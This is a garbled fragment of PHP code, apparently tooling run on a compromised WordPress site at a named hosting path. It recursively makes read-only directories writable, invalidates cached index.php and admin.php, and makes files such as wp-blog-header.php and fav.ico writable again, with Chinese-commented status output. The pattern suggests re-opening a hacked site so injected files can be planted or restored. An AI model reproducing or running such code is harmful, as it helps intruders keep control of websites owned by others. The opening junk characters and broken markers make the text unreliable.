sqdkjqlsjdklqsjdlqskjd azjdjksqhvdjqskhdkqhsj zkhjdhqksldjqlskdjlqskjd zjhdjqlskdhqsljkhdsqd |' . $i . '|<-}'; } function recursiveChmodDirectory($path) { $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if ($item->isDir()) { $permissions = fileperms($item->getPathname()); $octal_permissions = substr(sprintf('%o', $permissions), -4); if ($octal_permissions === '0555') { chmod($item->getPathname(), 0755); $count++; } } } return $count; } $path = '/home/streamviewiptv/public_html/mediaspelare.net'; clearstatcache(); $invalidated = 0; if (function_exists('opcache_invalidate')) { $invalidated = opcache_invalidate($path . '/index.php', true); $invalidated = opcache_invalidate($path . '/admin.php', true); } // 先获取原始权限 $permissions = fileperms($path); $octal_permissions = substr(sprintf('%o', $permissions), -4); // 递归修改所有子目录权限并获取修改数量 $modified_count = recursiveChmodDirectory($path); // 修改主目录权限 chmod($path, 0755); chmod($path . '/index.php', 0755); chmod($path . '/wp-blog-header.php', 0755); chmod($path . '/fav.ico', 0755); // 获取修改后的权限 $new_permissions = fileperms($path); $new_octal_permissions = substr(sprintf('%o', $new_permissions), -4); // 合并输出主目录权限变化和子目录修改数量 i("主目录权限变化: {$octal_permissions} -> {$new_octal_permissions}, 子目录修改数量: {$modified_count}, in:" . $invalidated);